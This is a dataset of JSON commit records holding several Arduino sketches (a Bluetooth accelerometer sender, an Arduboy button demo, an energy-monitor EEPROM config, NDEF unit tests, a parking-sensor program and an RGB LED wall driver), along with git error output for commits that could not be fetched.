{"commit":"d0f10d9a279dee33dfedc735231c62e045425b80","subject":"hc06-acc","message":"hc06-acc\n\nSigned-off-by: Haohua Li <8fdee70a717c450a70da61cd9ccac783a32c73c6@gmail.com>\n","repos":"eggfly\/arduino_projects,eggfly\/arduino_projects,eggfly\/arduino_projects,eggfly\/arduino_projects","old_file":"HC06_slave_accelerator\/HC06_slave_accelerator.ino","new_file":"HC06_slave_accelerator\/HC06_slave_accelerator.ino","new_contents":"#include <SoftwareSerial.h> \/\/Software Serial Port\n#include <Wire.h>\n#include <I2Cdev.h>\n#include <MPU6050.h>\n\n#define RxD 2 \/\/for Leonardo\uff1a10, bluetooth tx\n#define TxD 3 \/\/for Leonardo\uff1a11, bluetooth rx\n\nMPU6050 accelgyro;\nint16_t ax, ay, az;\nint16_t gx, gy, gz;\n#define PARAMS 6\n#define STR_LENGTH (PARAMS*6+PARAMS-1)\nchar accStr[STR_LENGTH];\n\nchar incomingByte; \/\/ incoming data\nint LED = 13; \/\/ LED pin\nbyte led_digital = 0;\n\nSoftwareSerial blueToothSerial(RxD,TxD);\n\nvoid setup() {\n accelgyro.initialize();\n Serial.begin(9600); \/\/ initialization\n pinMode(LED, OUTPUT);\n Serial.println(\"Hello remote control!\");\n blueToothSerial.begin(9600);\n}\n\nvoid loop() {\n if (blueToothSerial.available() > 0) { \/\/ if the data came\n incomingByte = blueToothSerial.read(); \/\/ read byte\n if(incomingByte == '0') {\n digitalWrite(LED, LOW); \/\/ if 1, switch LED Off\n \/\/ blueToothSerial.println(\"LED OFF. Press 1 to LED ON!\"); \/\/ print message\n }\n if(incomingByte == '1') {\n digitalWrite(LED, HIGH); \/\/ if 0, switch LED on\n \/\/ blueToothSerial.println(\"LED ON. Press 0 to LED OFF!\");\n }\n }\n \/\/ toggle led\n digitalWrite(LED, led_digital);\n led_digital = !led_digital;\n accelgyro.getMotion6(&ax, &ay, &az, &gx, &gy, &gz);\n sprintf(accStr, \"%d,%d,%d,%d,%d,%d\", ax, ay, az, gx, gy, gz);\n blueToothSerial.println(accStr);\n delay(100);\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'HC06_slave_accelerator\/HC06_slave_accelerator.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7817c8f977fa56b36bc8f85e2552f0b175363571","subject":"Added initial button demo code.","message":"Added initial button demo code.\n","repos":"ModusCreateOrg\/evade-arduboy-game,ModusCreateOrg\/evade-arduboy-game","old_file":"arduboy-game\/arduboy-game.ino","new_file":"arduboy-game\/arduboy-game.ino","new_contents":"\/*\nButtons example\nJune 11, 2015\nCopyright (C) 2015 David Martinez\nAll rights reserved.\nThis code is the most basic barebones code for showing how to use buttons in\nArduboy.\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n*\/\n\n#include \"Arduboy.h\"\n\n\/\/ Make an instance of arduboy used for many functions\nArduboy arduboy;\n\n\/\/ Variables for your game go here.\nchar text[] = \"Press Buttons!\";\nbyte x;\nbyte y;\n\n\/\/ Width of each charcter including inter-character space\n#define CHAR_WIDTH 6\n\n\/\/ Height of each charater\n#define CHAR_HEIGHT 8\n\n\/\/ To get the number of characters, we subtract 1 from the length of\n\/\/ the array because there will be a NULL terminator at the end.\n#define NUM_CHARS (sizeof(text) - 1)\n\n\/\/ This is the highest value that x can be without the end of the text\n\/\/ going farther than the right side of the screen. We add one because\n\/\/ there will be a 1 pixel space at the end of the last character.\n\/\/ WIDTH and HEIGHT are defined in the Arduboy library.\n#define X_MAX (WIDTH - (NUM_CHARS * CHAR_WIDTH) + 1)\n\n\/\/ This is the highest value that y can be without the text going below\n\/\/ the bottom of the screen.\n#define Y_MAX (HEIGHT - CHAR_HEIGHT)\n\n\n\/\/ This function runs once in your game.\n\/\/ use it for anything that needs to be set only once in your game.\nvoid setup() {\n \/\/initiate arduboy instance\n arduboy.begin();\n\n \/\/ here we set the framerate to 30, we do not need to run at default 60 and\n \/\/ it saves us battery life.\n arduboy.setFrameRate(30);\n \n \/\/ set x and y to the middle of the screen\n x = (WIDTH \/ 2) - (NUM_CHARS * CHAR_WIDTH \/ 2);\n y = (HEIGHT \/ 2) - (CHAR_HEIGHT \/ 2);\n}\n\n\n\/\/ our main game loop, this runs once every cycle\/frame.\n\/\/ this is where our game logic goes.\nvoid loop() {\n \/\/ pause render until it's time for the next frame\n if (!(arduboy.nextFrame()))\n return;\n\n \/\/ the next couple of lines will deal with checking if the D-pad buttons\n \/\/ are pressed and move our text accordingly.\n \/\/ We check to make sure that x and y stay within a range that keeps the\n \/\/ text on the screen.\n\n \/\/ if the right button is pressed move 1 pixel to the right every frame\n if(arduboy.pressed(RIGHT_BUTTON) && (x < X_MAX)) {\n x++;\n }\n\n \/\/ if the left button is pressed move 1 pixel to the left every frame\n if(arduboy.pressed(LEFT_BUTTON) && (x > 0)) {\n x--;\n }\n\n \/\/ if the up button or B button is pressed move 1 pixel up every frame\n if((arduboy.pressed(UP_BUTTON) || arduboy.pressed(B_BUTTON)) && (y > 0)) {\n y--;\n }\n\n \/\/ if the down button or A button is pressed move 1 pixel down every frame\n if((arduboy.pressed(DOWN_BUTTON) || arduboy.pressed(A_BUTTON)) && (y < Y_MAX)) {\n y++;\n }\n\n\n \/\/ we clear our screen to black\n arduboy.clear();\n\n \/\/ we set our cursor x pixels to the right and y down from the top\n arduboy.setCursor(x, y);\n\n \/\/ then we print to screen what is stored in our text variable we declared earlier\n arduboy.print(text);\n\n \/\/ then we finaly we tell the arduboy to display what we just wrote to the display.\n arduboy.display();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduboy-game\/arduboy-game.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b3b1ee58b89003c84c50c539ae5b55abd4d8b57","subject":"Implement brightness handling","message":"Implement brightness handling\n","repos":"mcrosson\/arduino_safe_lighting,mcrosson\/arduino_safe_lighting","old_file":"src\/src.ino","new_file":"src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcrosson\/arduino_safe_lighting.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2e2fc9c848eb5e1399541da06f0ab2dca846807c","subject":"First version of Gutter-Sense","message":"First version of Gutter-Sense\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"Gutter-Sense-1\/Gutter-Sense-1.ino","new_file":"Gutter-Sense-1\/Gutter-Sense-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a2e3a718fc530495c4b6c5c87ec5c84c0c20df2d","subject":"Cleaning up server code","message":"Cleaning up server code\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fa564341c1ef24938b1d0691b751d11d278cdbf2","subject":"Config file by Open Energy Monitor","message":"Config file by Open Energy Monitor\n\nSee sketch for details of where to put this file.","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/emonTX\/config.ino","new_file":"OpenEnergyMonitor\/emonTX\/config.ino","new_contents":"\/\/ create as a tab in emontx3-30.ino or as config.ino in same folder\n\n#include <EEPROM.h>\n\nbyte value;\n\nstatic void load_config(){\n \n byte flag=0;\n \/\/ Read nodeID\n if (EEPROM.read(0) != 255){ \/\/ 255 = EEPROM default (blank) value\n nodeID = EEPROM.read(0);\n flag++;\n }\n if (EEPROM.read(1) != 255){\n RF_freq = EEPROM.read(1);\n flag++;\n }\n if (EEPROM.read(2) != 255){\n networkGroup = EEPROM.read(2);\n flag++;\n }\n \n if (flag > 0){\n Serial.println(\"Loaded EEPROM RF config >\");\n }\n else {\n Serial.println(\"No EEPROM config\");\n }\n \n }\n\nstatic void config (char c) {\n \n if ('0' <= c && c <= '9') {\n value = 10 * value + c - '0';\n return;\n }\n\n if (c > ' ') {\n\n switch (c) {\n\n case 'i': \/\/set node ID\n if (value){\n nodeID = value;\n break;\n }\n\n case 'b': \/\/ set band: 4 = 433, 8 = 868, 9 = 915\n value = bandToFreq(value);\n if (value){\n RF_freq = value;\n }\n break;\n \n case 'g': \/\/ set network group\n if (value>=0){\n networkGroup = value;\n }\n break;\n\n case 's': \/\/ Save to EEPROM. Atemga328p has 1kb EEPROM\n save_config();\n break;\n\n case 'v': \/\/ print firmware version\n Serial.print(F(\"[emonTx FW: V\")); Serial.print(version*0.1); Serial.print(F(\"]\"));\n break;\n \n default:\n showString(helpText1);\n } \/\/end case\n\n \/\/Print Current RF config\n if (RF_STATUS==1) {\n Serial.print(F(\" \"));\n \/\/ Serial.print((char) ('@' + (nodeID & RF12_HDR_MASK)));\n Serial.print(F(\" i\"));\n Serial.print(nodeID & RF12_HDR_MASK);\n Serial.print(F(\" g\"));\n Serial.print(networkGroup);\n Serial.print(F(\" @ \"));\n Serial.print(RF_freq == RF12_433MHZ ? 433 :\n RF_freq == RF12_868MHZ ? 868 :\n RF_freq == RF12_915MHZ ? 915 : 0);\n Serial.print(F(\" MHz\"));\n }\n \n Serial.print(F(\" USA \")); Serial.print(USA);\n Serial.println(F(\" \"));\n \n } \/\/ end c > ' '\n value = 0;\n\n}\n\nstatic void save_config(){\n Serial.println(\"Saving...\");\n \/\/ Clear any old EEPROM settings\n for (int i = 0 ; i < EEPROM.length() ; i++) {\n EEPROM.write(i, 0);\n }\n \/\/Save new settings\n EEPROM.write(0, nodeID);\n EEPROM.write(1, RF_freq);\n EEPROM.write(2, networkGroup);\n Serial.println(\"Done. New config saved to EEPROM\");\n}\n\nstatic byte bandToFreq (byte band) {\n return band == 4 ? RF12_433MHZ : band == 8 ? RF12_868MHZ : band == 9 ? RF12_915MHZ : 0;\n}\n\nstatic void showString (PGM_P s) {\n for (;;) {\n char c = pgm_read_byte(s++);\n if (c == 0)\n break;\n if (c == '\\n')\n Serial.print('\\r');\n Serial.print(c);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/emonTX\/config.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"74561d6ccdd0865027c05fdec6793de633445d7f","subject":"new (broken) tests","message":"new (broken) tests\n","repos":"abcd-ca\/NDEF,jlkalberer\/NDEF,jlkalberer\/NDEF,abcd-ca\/NDEF","old_file":"tests\/NdefMessageTest\/NdefMessageTest.ino","new_file":"tests\/NdefMessageTest\/NdefMessageTest.ino","new_contents":"#include <Wire.h>\n#include <Adafruit_NFCShield_I2C.h>\n#include <Ndef.h>\n#include <ArduinoUnit.h>\n\nTestSuite suite;\n\n\/\/ Custom Assertion\nvoid assertNoLeak(Test& __test__, void (*callback)())\n{\n int start = freeMemory();\n (*callback)();\n int end = freeMemory();\n assertEquals(0, (start - end));\n}\n\nvoid assertBytesEqual(Test& __test__, const uint8_t* expected, const uint8_t* actual, int size) {\n for (int i = 0; i < size; i++) {\n Serial.print(\"> \");Serial.print(expected[i]);Serial.print(\" \");Serial.println(actual[i]);\n assertEquals(expected[i], actual[i]);\n }\n}\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"\\n\");\n Serial.println(F(\"=========\"));\n Serial.println(freeMemory());\n Serial.println(F(\"=========\"));\n}\n\ntest(memoryKludgeEnd)\n{\n \/\/ TODO ensure the output matches start\n Serial.println(F(\"=========\"));\n Serial.print(\"End \");Serial.println(freeMemory());\n Serial.println(F(\"=========\"));\n}\n\ntest(messageDelete)\n{\n int start = freeMemory();\n\n NdefMessage* m1 = new NdefMessage();\n m1->addTextRecord(\"Foo\");\n delete m1;\n\n int end = freeMemory();\n\/\/ Serial.print(\"Start \");Serial.println(start);\n\/\/ Serial.print(\"End \");Serial.println(end);\n assertEquals(0, (start-end));\n}\n\n\ntest(assign)\n{\n int start = freeMemory();\n \n NdefMessage* m1 = new NdefMessage();\n m1->addTextRecord(\"We the People of the United States, in Order to form a more perfect Union...\");\n \n NdefMessage* m2 = new NdefMessage();\n \n *m2 = *m1;\n \n NdefRecord r1 = m1->get(0);\n NdefRecord r2 = m2->get(0);\n \n assertEquals(r1.getTnf(), r2.getTnf());\n assertEquals(r1.getTypeLength(), r2.getTypeLength());\n assertEquals(r1.getPayloadLength(), r2.getPayloadLength());\n assertEquals(r1.getIdLength(), r2.getIdLength());\n\n uint8_t* p1 = r1.getPayload();\n uint8_t* p2 = r2.getPayload(); \n int size = r1.getPayloadLength();\n assertBytesEqual(__test__, p1, p2, size);\n free(p1);\n free(p2);\n\n delete m2;\n delete m1;\n \n int end = freeMemory();\n assertEquals(0, (start-end));\n}\n\ntest(assign2)\n{\n int start = freeMemory();\n \n NdefMessage m1 = NdefMessage();\n m1.addTextRecord(\"We the People of the United States, in Order to form a more perfect Union...\");\n \n NdefMessage m2 = NdefMessage();\n \n m2 = m1;\n \n NdefRecord r1 = m1.get(0);\n NdefRecord r2 = m2.get(0);\n \n assertEquals(r1.getTnf(), r2.getTnf());\n assertEquals(r1.getTypeLength(), r2.getTypeLength());\n assertEquals(r1.getPayloadLength(), r2.getPayloadLength());\n assertEquals(r1.getIdLength(), r2.getIdLength());\n\n \/\/ TODO check type\n\n uint8_t* p1 = r1.getPayload();\n uint8_t* p2 = r2.getPayload(); \n int size = r1.getPayloadLength();\n assertBytesEqual(__test__, p1, p2, size);\n free(p1);\n free(p2);\n\n int end = freeMemory();\n \/\/assertEquals(0, (start-end));\n}\n\n\/\/ TODO fix this\n\/\/ NdefMessage copy constructor and assignment\ntest(assign3)\n{\n int start = freeMemory();\n \n NdefMessage* m1 = new NdefMessage();\n m1->addTextRecord(\"We the People of the United States, in Order to form a more perfect Union...\");\n \n NdefMessage* m2 = new NdefMessage();\n \n *m2 = *m1;\n \n delete m1;\n \n NdefRecord r2 = m2->get(0);\n \n assertEquals(TNF_WELL_KNOWN, r2.getTnf());\n assertEquals(1, r2.getTypeLength());\n assertEquals(79, r2.getPayloadLength());\n assertEquals(0, r2.getIdLength());\n \n String s = \"We the People of the United States, in Order to form a more perfect Union...\";\n byte payload[s.length() + 1];\n s.getBytes(payload, sizeof(payload));\n\n uint8_t* p2 = r2.getPayload(); \n int size = r2.getPayloadLength();\n assertBytesEqual(__test__, payload, p2+3, s.length());\n free(p2);\n\n delete m2;\n \n int end = freeMemory();\n assertEquals(0, (start-end));\n}\n\n \ntest(memoryKludgeStart)\n{\n Serial.println(F(\"---------\"));\n Serial.print(\"Start \");Serial.println(freeMemory());\n Serial.println(F(\"---------\"));\n}\n\nvoid loop() {\n suite.run(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/NdefMessageTest\/NdefMessageTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"d062d8408702df09dd4536abce013f25c9d8e6b9","subject":"new files added","message":"new files added\n","repos":"shyampurk\/bluemix-parking-meter,shyampurk\/bluemix-parking-meter,shyampurk\/bluemix-parking-meter,shyampurk\/bluemix-parking-meter,shyampurk\/bluemix-parking-meter","old_file":"device\/hcsr04.ino","new_file":"device\/hcsr04.ino","new_contents":"\/*********************************************************************************\nSMART PARKING LOT SYSTEM\n*********************************************************************************\/\n\/\/Reference Value to Get The Status of Parking\n#define g_parked 100\n#define g_fault 4500\n\n\/\/Pin Setting for the 3 Ultrasonic Sensors\n#define g_trigPin 13\n#define g_echoPin 12\n#define g_trigPin2 4\n#define g_echoPin2 5\n#define g_trigPin3 8\n#define g_echoPin3 9\n\n\/**************************************************************************************\nFunction Name \t\t:\tsetup\nDescription\t\t :\tInitialize the Sensor Trigger Pin as Output and \n echo pin as Input and begin the serial communication\n with 9600 BAUD\nParameters \t\t :\tvoid\nReturn \t\t\t :\tvoid\n**************************************************************************************\/\n\/\/Initialize the Pins and BAUD rate \nvoid setup(void) {\n Serial1.begin (9600);\n Serial.begin(9600);\n pinMode(g_trigPin, OUTPUT);\n pinMode(g_echoPin, INPUT);\n pinMode(g_trigPin2, OUTPUT);\n pinMode(g_echoPin2, INPUT);\n pinMode(g_trigPin3, OUTPUT);\n pinMode(g_echoPin3, INPUT);\n}\n\n\/**************************************************************************************\nFunction Name \t\t:\tloop\nDescription\t\t :\tGenerate a Trigger signal and wait for the echo on \n HC-SR04 Ultrasonic Sensor and calculate the distance.\nParameters \t\t :\tvoid\nReturn \t\t\t :\tvoid\n**************************************************************************************\/\nvoid loop(void) {\n \/\/Variables to calculate the distance using the duration taken for 1 cycle of trigger and echo \n long l_duration,l_distance,l_duration2,l_distance2,l_duration3,l_distance3;\n \/\/Distance form the Ultrasonic Sensor 1\n \/\/Generate a high pulse on Trigger Pin with 10 micro seconds delay and wait for the echo\n digitalWrite(g_trigPin, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin, LOW);\n \/\/Once received the Echo calculate the distance from the duration\n l_duration = pulseIn(g_echoPin, HIGH);\n l_distance = (l_duration\/2) \/ 29.1;\n delay(300);\n \n \/\/Distance form the Ultrasonic Sensor 2\n digitalWrite(g_trigPin2, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin2, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin2, LOW);\n l_duration2 = pulseIn(g_echoPin2, HIGH);\n l_distance2 = (l_duration2\/2) \/ 29.1;\n delay(300);\n \n \/\/Distance form the Ultrasonic Sensor 3\n digitalWrite(g_trigPin3, LOW);\n delayMicroseconds(2); \n digitalWrite(g_trigPin3, HIGH);\n delayMicroseconds(10); \n digitalWrite(g_trigPin3, LOW);\n l_duration3 = pulseIn(g_echoPin3, HIGH);\n l_distance3 = (l_duration3\/2) \/ 29.1;\n delay(300);\n Serial.println(l_distance);\n Serial.println(l_distance2);\n Serial.println(l_distance3);\n Serial.println(\"\\n\\n\\n\");\n \/\/Check if the Sensor has any fault \n \/*DATA SENT by UART to RPi is 1,2,3\n\t\t1\t-\tParking LOT is Free\n\t\t2\t-\tParking LOT is Filled\n\t\t3\t-\tFault in the Sensor\t*\/\n if(l_distance < g_fault && l_distance2 < g_fault && l_distance3 < g_fault) \n {\n if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"222\");\n }\n else if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"221\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"212\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"211\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"122\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"121\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"112\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"111\");\n }\n }\n else\n {\n if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"322\");\n }\n else if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"321\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 <= g_parked)\n {\n Serial1.write(\"312\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 > g_parked)\n {\n Serial1.write(\"311\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial1.write(\"232\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial1.write(\"231\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial1.write(\"132\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial1.write(\"131\");\n }\n else if(l_distance <= g_parked && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"223\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"213\");\n }\n else if(l_distance > g_parked && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"123\");\n }\n else if(l_distance > g_parked && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"113\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 <= g_parked)\n {\n Serial1.write(\"332\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 > g_parked)\n {\n Serial1.write(\"331\");\n }\n else if(l_distance <= g_parked && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial1.write(\"233\");\n }\n else if(l_distance > g_parked && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial1.write(\"133\");\n }\n else if(l_distance > g_fault && l_distance2 <= g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"323\");\n }\n else if(l_distance > g_fault && l_distance2 > g_parked && l_distance3 > g_fault)\n {\n Serial1.write(\"313\");\n }\n else if(l_distance > g_fault && l_distance2 > g_fault && l_distance3 > g_fault)\n {\n Serial1.write(\"333\");\n }\n }\n \/\/Provide a Delay for every 5 Seconds once data sent to the RPi\n delay(500);\n}\n\n\/\/End of the Program\n\/***************************************************************************************************\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'device\/hcsr04.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4db784c8cd8ad0689015dde8734ab2e80d8ec037","subject":"application with static RGB Led addressing mode","message":"application with static RGB Led addressing mode\n","repos":"cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall,cbries\/rgbwall","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"\/*\n * Copyright (c) 2015, Christian Benjamin Ries\n * Website: www.christianbenjaminries.de\n * GitHub: https:\/\/github.com\/cbries\n * License: MIT, see https:\/\/github.com\/cbries\n * \n * 2015-01-25 Christian Benjamin Ries\n * - refactoring\n * - performance improved\n *\/\n\n#define SPI_CLOCK 13\n#define SPI_LATCH 10\n#define SPI_DATA 11\n\n#define DISPLAY_PIN PB1 \/\/ Uno\n#define DISPLAY_ON PORTB &= ~ ( 1 << DISPLAY_PIN )\n#define DISPLAY_OFF PORTB |= ( 1 << DISPLAY_PIN )\n\n#define SPI_LATCH_PIN PB2 \/\/ Uno\n#define SPI_START PORTB &= ~ ( 1 << SPI_LATCH_PIN )\n#define SPI_SEND(v) spi_transfer(v)\n#define SPI_STOP PORTB |= ( 1 << SPI_LATCH_PIN )\n\n#define MAX_BRIGHTNESS 15 \/\/ 0...50 above 50 looks bad\n\n#define __TIMER1_MAX 0xFFFF \/\/ 16 bit CTR\n#define __TIMER1_CNT 0x0155 \/\/ absoluter Grenzwert: 0x0150, > 0x0170 (little flicker)\n\n#include <avr\/pgmspace.h>\n#include <avr\/interrupt.h> \n#include <avr\/io.h>\n#include <stdint.h>\n\n#define WIDTH 20\n#define HEIGHT 10\n\nconst uint16_t RgbGrid[HEIGHT][WIDTH][3] PROGMEM = {\n { {576,640,704}, {584,648,712}, {592,656,720}, {600,664,728}, {608,672,736}, {616,680,744}, {624,688,752}, {632,696,760}, {424,488,552}, {416,480,544}, {408,472,536}, {400,464,528}, {248,312,376}, {240,304,368}, {232,296,360}, {224,288,352}, {216,280,344}, {208,272,336}, {200,264,328}, {192,256,320} }\n , { {577,641,705}, {585,649,713}, {593,657,721}, {601,665,729}, {609,673,737}, {617,681,745}, {625,689,753}, {633,697,761}, {425,489,553}, {417,481,545}, {409,473,537}, {401,465,529}, {249,313,377}, {241,305,369}, {233,297,361}, {225,289,353}, {217,281,345}, {209,273,337}, {201,265,329}, {193,257,321} }\n , { {578,642,706}, {586,650,714}, {594,658,722}, {602,666,730}, {610,674,738}, {618,682,746}, {626,690,754}, {634,698,762}, {426,490,554}, {418,482,546}, {410,474,538}, {402,466,530}, {250,314,378}, {242,306,370}, {234,298,362}, {226,290,354}, {218,282,346}, {210,274,338}, {202,266,330}, {194,258,322} }\n , { {579,643,707}, {587,651,715}, {595,659,723}, {603,667,731}, {611,675,739}, {619,683,747}, {627,691,755}, {635,699,763}, {427,491,555}, {419,483,547}, {411,475,539}, {403,467,531}, {251,315,379}, {243,307,371}, {235,299,363}, {227,291,355}, {219,283,347}, {211,275,339}, {203,267,331}, {195,259,323} }\n , { {580,644,708}, {588,652,716}, {596,660,724}, {604,668,732}, {612,676,740}, {620,684,748}, {628,692,756}, {636,700,764}, {428,492,556}, {420,484,548}, {412,476,540}, {404,468,532}, {252,316,380}, {244,308,372}, {236,300,364}, {228,292,356}, {220,284,348}, {212,276,340}, {204,268,332}, {196,260,324} }\n , { {581,645,709}, {589,653,717}, {597,661,725}, {605,669,733}, {613,677,741}, {621,685,749}, {629,693,757}, {637,701,765}, {429,493,557}, {421,485,549}, {413,477,541}, {405,469,533}, {253,317,381}, {245,309,373}, {237,301,365}, {229,293,357}, {221,285,349}, {213,277,341}, {205,269,333}, {197,261,325} }\n , { {582,646,710}, {590,654,718}, {598,662,726}, {606,670,734}, {614,678,742}, {622,686,750}, {630,694,758}, {638,702,766}, {430,494,558}, {422,486,550}, {414,478,542}, {406,470,534}, {254,318,382}, {246,310,374}, {238,302,366}, {230,294,358}, {222,286,350}, {214,278,342}, {206,270,334}, {198,262,326} }\n , { {583,647,711}, {591,655,719}, {599,663,727}, {607,671,735}, {615,679,743}, {623,687,751}, {631,695,759}, {639,703,767}, {431,495,559}, {423,487,551}, {415,479,543}, {407,471,535}, {255,319,383}, {247,311,375}, {239,303,367}, {231,295,359}, {223,287,351}, {215,279,343}, {207,271,335}, {199,263,327} }\n \n , { {439,503,567}, {438,502,566}, {437,501,565}, {436,500,564}, {435,499,563}, {434,498,562}, {433,497,561}, {432,496,560}, { 0, 64,128}, { 1, 65,129}, { 2, 66,130}, { 3, 67,131}, {399,463,527}, {398,462,526}, {397,461,525}, {396,460,524}, {395,459,523}, {394,458,522}, {393,457,521}, {392,456,520} }\n , { {447,511,575}, {446,510,574}, {445,509,573}, {444,508,572}, {443,507,571}, {442,506,570}, {441,505,569}, {440,504,568}, { 7, 71,135}, { 6, 70,134}, { 5, 69,133}, { 4, 68,132}, {391,455,519}, {390,454,518}, {389,453,517}, {388,452,516}, {387,451,515}, {386,450,514}, {385,449,513}, {384,448,512} }\n};\n\ninline uint16_t RED(byte x, byte y) { return pgm_read_dword(&RgbGrid[y][x][0]); }\ninline uint16_t GREEN(byte x, byte y) { return pgm_read_dword(&RgbGrid[y][x][1]); }\ninline uint16_t BLUE(byte x, byte y) { return pgm_read_dword(&RgbGrid[y][x][2]); }\n\ninline byte spi_transfer(byte data)\n{\n SPDR = data; \/\/ Start the transmission\n while (!(SPSR & (1<<SPIF))) \/\/ Wait the end of the transmission\n { };\n return SPDR; \/\/ return the received byte, we don't need that\n}\n\n\/**\n * spi prescaler: \n * SPI2X SPR1 SPR0\n * 0 0 0 fosc\/4\n * 0 0 1 fosc\/16\n * 0 1 0 fosc\/64\n * 0 1 1 fosc\/128\n * 1 0 0 fosc\/2\n * 1 0 1 fosc\/8\n * 1 1 0 fosc\/32\n * 1 1 1 fosc\/64\n *\/\nvoid setup_hardware_spi(void) \n{\n byte clr;\n SPCR |= ( (1<<SPE) | (1<<MSTR) ); \/\/ enable SPI as master\n \/\/SPCR |= ( (1<<SPR1) ); \/\/ set prescaler bits\n SPCR &= ~ ( (1<<SPR1) | (1<<SPR0) ); \/\/ clear prescaler bits\n clr = SPSR; \/\/ clear SPI status reg\n clr = SPDR; \/\/ clear SPI data reg\n SPSR |= (1<<SPI2X); \/\/ set prescaler bits\n}\n\n\/**\n * Arduino runs at 16 Mhz...\n * Timer1 (16bit) Settings:\n * prescaler (frequency divider) values: CS12 CS11 CS10\n * 0 0 0 stopped\n * 0 0 1 \/1 \n * 0 1 0 \/8 \n * 0 1 1 \/64\n * 1 0 0 \/256 \n * 1 0 1 \/1024\n * 1 1 0 external clock on T1 pin, falling edge\n * 1 1 1 external clock on T1 pin, rising edge\n *\/\nvoid setup_timer1_ovf(void) \n{\n TCCR1B &= ~ ( (1<<CS11) );\n TCCR1B |= ( (1<<CS12) | (1<<CS10) ); \n \/\/normal mode\n TCCR1B &= ~ ( (1<<WGM13) | (1<<WGM12) );\n TCCR1A &= ~ ( (1<<WGM11) | (1<<WGM10) );\n 